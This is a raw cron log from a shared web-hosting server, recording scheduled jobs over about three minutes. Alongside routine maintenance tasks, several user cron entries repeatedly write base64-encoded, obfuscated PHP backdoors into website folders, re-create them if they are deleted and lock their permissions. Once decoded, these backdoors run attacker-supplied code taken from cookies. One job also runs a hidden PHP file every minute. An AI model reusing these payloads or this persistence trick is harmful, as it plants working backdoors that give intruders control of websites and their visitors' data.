Mar  2 16:20:01 medusa CROND[26457]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  2 16:20:01 medusa CROND[26464]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Mar  2 16:20:01 medusa CROND[26568]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 16:20:01 medusa CROND[26836]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 16:20:01 medusa CROND[26837]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Mar  2 16:20:01 medusa CROND[26841]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 16:20:01 medusa CROND[26842]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  2 16:20:01 medusa CROND[26843]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Mar  2 16:20:01 medusa CROND[26844]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  2 16:20:01 medusa CROND[26848]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  2 16:20:01 medusa CROND[26849]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  2 16:20:01 medusa CROND[26845]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  2 16:20:01 medusa CROND[26854]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Mar  2 16:20:01 medusa CROND[26860]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 16:20:01 medusa CROND[26862]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 16:20:01 medusa CROND[26855]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Mar  2 16:20:01 medusa CROND[26869]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 16:20:01 medusa CROND[26874]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Mar  2 16:20:01 medusa CROND[26865]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  2 16:20:01 medusa CROND[26875]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  2 16:20:01 medusa CROND[26876]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 16:20:01 medusa CROND[26879]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 16:20:01 medusa CROND[26870]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  2 16:20:01 medusa CROND[26880]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 16:20:01 medusa CROND[26868]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  2 16:20:01 medusa CROND[26886]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 16:20:01 medusa CROND[26888]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 16:20:01 medusa CROND[26890]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 16:20:01 medusa CROND[26858]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  2 16:20:01 medusa CROND[26867]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Mar  2 16:21:01 medusa CROND[13834]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 16:21:01 medusa CROND[13835]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 16:21:01 medusa CROND[13836]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 16:21:01 medusa CROND[13838]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 16:21:01 medusa CROND[13839]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 16:21:01 medusa CROND[13845]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  2 16:21:01 medusa CROND[13849]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 16:21:01 medusa CROND[13850]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 16:21:01 medusa CROND[13851]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 16:21:01 medusa CROND[13843]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  2 16:21:01 medusa CROND[13854]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 16:21:01 medusa CROND[13855]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 16:21:01 medusa CROND[13856]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 16:21:01 medusa CROND[13861]: (adminanalia) CMD (cd /home12/adminanalia/public_html/espo; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  2 16:22:01 medusa CROND[2083]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 16:22:01 medusa CROND[2231]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
